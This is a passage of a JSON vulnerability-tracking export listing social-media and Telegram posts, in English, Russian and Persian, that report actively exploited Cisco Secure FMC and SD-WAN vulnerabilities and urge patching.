"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mrumtgrex62g", "content": "\ud83d\udd17 CVE : CVE-2026-20316", "creation_timestamp": "2026-07-30T14:15:06.570091Z"}, {"uuid": "a25631e1-fffb-4934-94b3-96f655603381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/codeby_sec/10321", "content": "29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u2014 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0436\u0438\u0432\u0451\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 CVE\n\n\u041d\u0435 \u0434\u043d\u0435\u0439, \u043d\u0435 \u043d\u0435\u0434\u0435\u043b\u044c \u2014 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c IBM X-Force Threat Intelligence Index 2025, \u043c\u0435\u0436\u0434\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440 CVE, \u0438 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0451 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435: \u0432\u0440\u0435\u043c\u044f, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e CVE (\u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 n-day), \u0441\u0436\u0430\u043b\u043e\u0441\u044c \u0434\u043e 5 \u0434\u043d\u0435\u0439. \u0412 2018\u20132019 \u0431\u044b\u043b\u043e \u043e\u043a\u043e\u043b\u043e 32. \u0427\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0435 \u0440\u0430\u0437\u0440\u044b\u0432?\n\n\u2757\ufe0fGoogle Threat Intelligence Group \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0430 75 zero-day \u0437\u0430 2024 \u0433\u043e\u0434, \u0438 44% \u0430\u0442\u0430\u043a \u043f\u0440\u0438\u0448\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u0430\u044f \u0434\u043e\u043b\u044f. SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u0441\u0451, \u0447\u0442\u043e \u0442\u043e\u0440\u0447\u0438\u0442 \u043d\u0430\u0440\u0443\u0436\u0443 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0430 \u0434\u0432\u0443\u0445 \u0441\u0432\u0435\u0436\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\n\n\ud83c\udf87CVE-2026-20127 \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Cisco Catalyst SD-WAN. CVSS 10.0 \u0438\u0437 10. \u0410\u0442\u0430\u043a\u0430 \u043f\u043e \u0441\u0435\u0442\u0438, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0431\u0435\u0437 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, lateral movement, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 rogue peers \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. EPSS \u2014 0.88, \u044d\u0442\u043e \u0442\u043e\u043f-1% \u0441\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 CVE \u043f\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043c\u0435\u0441\u044f\u0446.\n\n\ud83d\udd11CVE-2026-22769 \u2014 \u0432\u0448\u0438\u0442\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Dell RecoverPoint for Virtual Machines. \u041a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0436\u0430\u043d\u0440\u0430: hardcoded credentials, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u044e\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u041e\u0421. \u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439, \u0437\u043d\u0430\u044e\u0449\u0438\u0439 \u044d\u0442\u0438 \u043a\u0440\u0435\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0431\u0430 \u043a\u0435\u0439\u0441\u0430 \u2014 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 CISA KEV, \u043e\u0431\u0430 \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SSVC: Act, \u0442\u043e \u0435\u0441\u0442\u044c \u00ab\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u00bb.\n\n\u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u044d\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b? \u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b zero-day \u2014 \u043d\u0435 \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u043d\u0430\u0448\u043b\u0438 \u2192 \u043f\u043e\u0447\u0438\u043d\u0438\u043b\u0438\u00bb. \u042d\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432, \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043a\u043d\u0430 \u0440\u0438\u0441\u043a\u0430:\n\n\u2022 \u0412\u043d\u0435\u0441\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2014 \u0431\u0430\u0433 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u0430\u0437\u0437\u0435\u0440 \u0438\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\n\u2022 \u0412\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u0438\u0437 \u0431\u0430\u0433\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0431\u043e\u0435\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0435\u0439\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439\n\u2022 \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438 \u043f\u0430\u0442\u0447 \u2014 \u0432\u0435\u043d\u0434\u043e\u0440 \u0443\u0437\u043d\u0430\u0451\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\u2022 \u0420\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0430\u0442\u0447 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u043d\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044e\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u043a\u0430\u0442\u044f\u0442 \u043a\u0430\u0441\u043a\u0430\u0434\u043d\u043e\n\n\u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0430\u0434\u043e\u043a\u0441: \u043f\u043e\u0441\u043b\u0435 \u043f\u044f\u0442\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442. \u041e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 0-day \u0432 n-day, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u2014 \u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u27a1\ufe0f\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 CVSS-\u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0441 \u043f\u043e\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 MITRE ATT&CK \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0447\u0435\u043a\u043b\u0438\u0441\u0442 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nhttps://codeby.net/threads/uyazvimost-nulevogo-dnya-zhiznennyi-tsikl-real-nyye-cve-i-protsess-patchinga.94896/", "creation_timestamp": "2026-07-30T00:03:09.679430Z"}, {"uuid": "3e60056d-f3e7-4e86-ad81-99c8ba92507e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/HackerNewscyber/3303", "content": "\u2708\ufe0f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0641\u0639\u0627\u0644 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632-\u0635\u0641\u0631 \u062f\u0631 Cisco Secure FMC\n\ud83c\udfa5\u0633\u06cc\u0633\u06a9\u0648 \u0648\u0635\u0644\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632-\u0635\u0641\u0631 (CVE-2026-20316) \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 Secure Firewall Management Center \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0645\u200c\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u06a9\u0647 \u0646\u0627\u0634\u06cc \u0627\u0632 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648\u0631\u0648\u062f \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062f\u0631 \u06cc\u06a9 \u062d\u0633\u0627\u0628 \u06a9\u0645\u200c\u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0633\u062a\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0628\u0647 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u062d\u0633\u0627\u0633 \u062f\u0633\u062a \u06cc\u0627\u0628\u062f.\n\n\ud83c\udfa5\u0633\u06cc\u0633\u06a9\u0648 \u0627\u0632 \u0698\u0648\u0626\u06cc\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u0637\u0644\u0639 \u0634\u062f\u0647 \u0648 \u0634\u0627\u062e\u0635\u200c\u0647\u0627\u06cc \u0646\u0641\u0648\u0630 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u062d\u0645\u0644\u0627\u062a \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0622\u0698\u0627\u0646\u0633 CISA \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0631\u0627 \u062f\u0631 \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u062f\u0648\u0644\u062a\u06cc \u0622\u0645\u0631\u06cc\u06a9\u0627 \u062a\u0627 \u06f1 \u0627\u0648\u062a \u0645\u0647\u0644\u062a \u062f\u0627\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0686\u0646\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u062e\u06cc\u0631 \u0627\u0632 \u0645\u062d\u0635\u0648\u0644\u0627\u062a \u0633\u06cc\u0633\u06a9\u0648\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 Catalyst SD-WAN Manager\u060c \u0631\u062e \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "creation_timestamp": "2026-07-30T09:00:03.453400Z"}, {"uuid": "44facb33-ce53-4c18-93ca-4a7ba7f846e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mrtof7rctk27", "content": "Cisco FMC CVE-2026-20316: Actively Exploited Zero-Day, CISA Sets August 1 Deadline", "creation_timestamp": "2026-07-30T05:10:16.686867Z"}, {"uuid": "c3bc0f6b-bad9-41bc-97d5-2fb43c3512e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mru3hegg2227", "content": "\ud83d\udea8 Cisco has confirmed active exploitation of CVE-2026-20316, a hardcoded credential vulnerability affecting Secure Firewall Management Center.\n\nWe've published a summary and analysis:\nbasefortify.eu/posts/2026/0...\n\n\ud83d\udd10\ud83d\udee1\ufe0f\n\n#PotatoSecurity #Cisco #InfoSec #CVE202620316", "creation_timestamp": "2026-07-30T09:04:06.918932Z"}, {"uuid": "a348838d-df86-4b9d-998f-5cb24a66f0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-secure-firewall-management-center-information-disclosure-vulnerability_20260730", "content": "", "creation_timestamp": "2026-07-30T05:15:02.661369Z"}, {"uuid": "67324230-3dca-4cea-bd73-9ac958dfb85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt5bfle672p", "content": "CVE-2026-20316: Cisco FMC's Static Credentials Open Door to Attackers #CVE2026 #CiscoFMC #CyberSecurity", "creation_timestamp": "2026-07-30T00:03:54.576638Z"}, {"uuid": "59fb768d-0f17-467a-ac7e-d4d5f1bedef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt5bhg3jj2u", "content": "CVE-2026-20316: Cisco's Static Credential Flaw Exposes Systems to Easy Attacks #Cisco #CyberSecurity #Vulnerability", "creation_timestamp": "2026-07-30T00:03:57.159253Z"}, {"uuid": "666f9a9d-f78e-49ef-b628-4b0f24b4c997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt5bj6gne25", "content": "CVE-2026-20316: Cisco's Credential Flaw Exposes Systems to Unchecked Threats #CVE2026 #Cisco #Cybersecurity", "creation_timestamp": "2026-07-30T00:03:58.347865Z"}, {"uuid": "0bc345d9-1240-4ef2-a43d-6f2f4213abd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/true_secator/8458", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Secure Firewall Management Center (FMC), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u041f\u041e Cisco Secure FMC.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Cisco, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\nCVE-2026-20316 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 5,3, \u043e\u0434\u043d\u0430\u043a\u043e Cisco \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 FMC \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u0430\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e \u0430\u0442\u0430\u043a\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Cisco Secure FMC \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 Cloud-Delivered FMC, Firewall Device Manager, Secure Firewall ASA Software, Secure Firewall Threat Defense Software \u0438\u043b\u0438 Security Cloud Control.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Secure FMC 7.0, 7.2, 7.4, 7.6, 7.7 \u0438 10.0. \u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 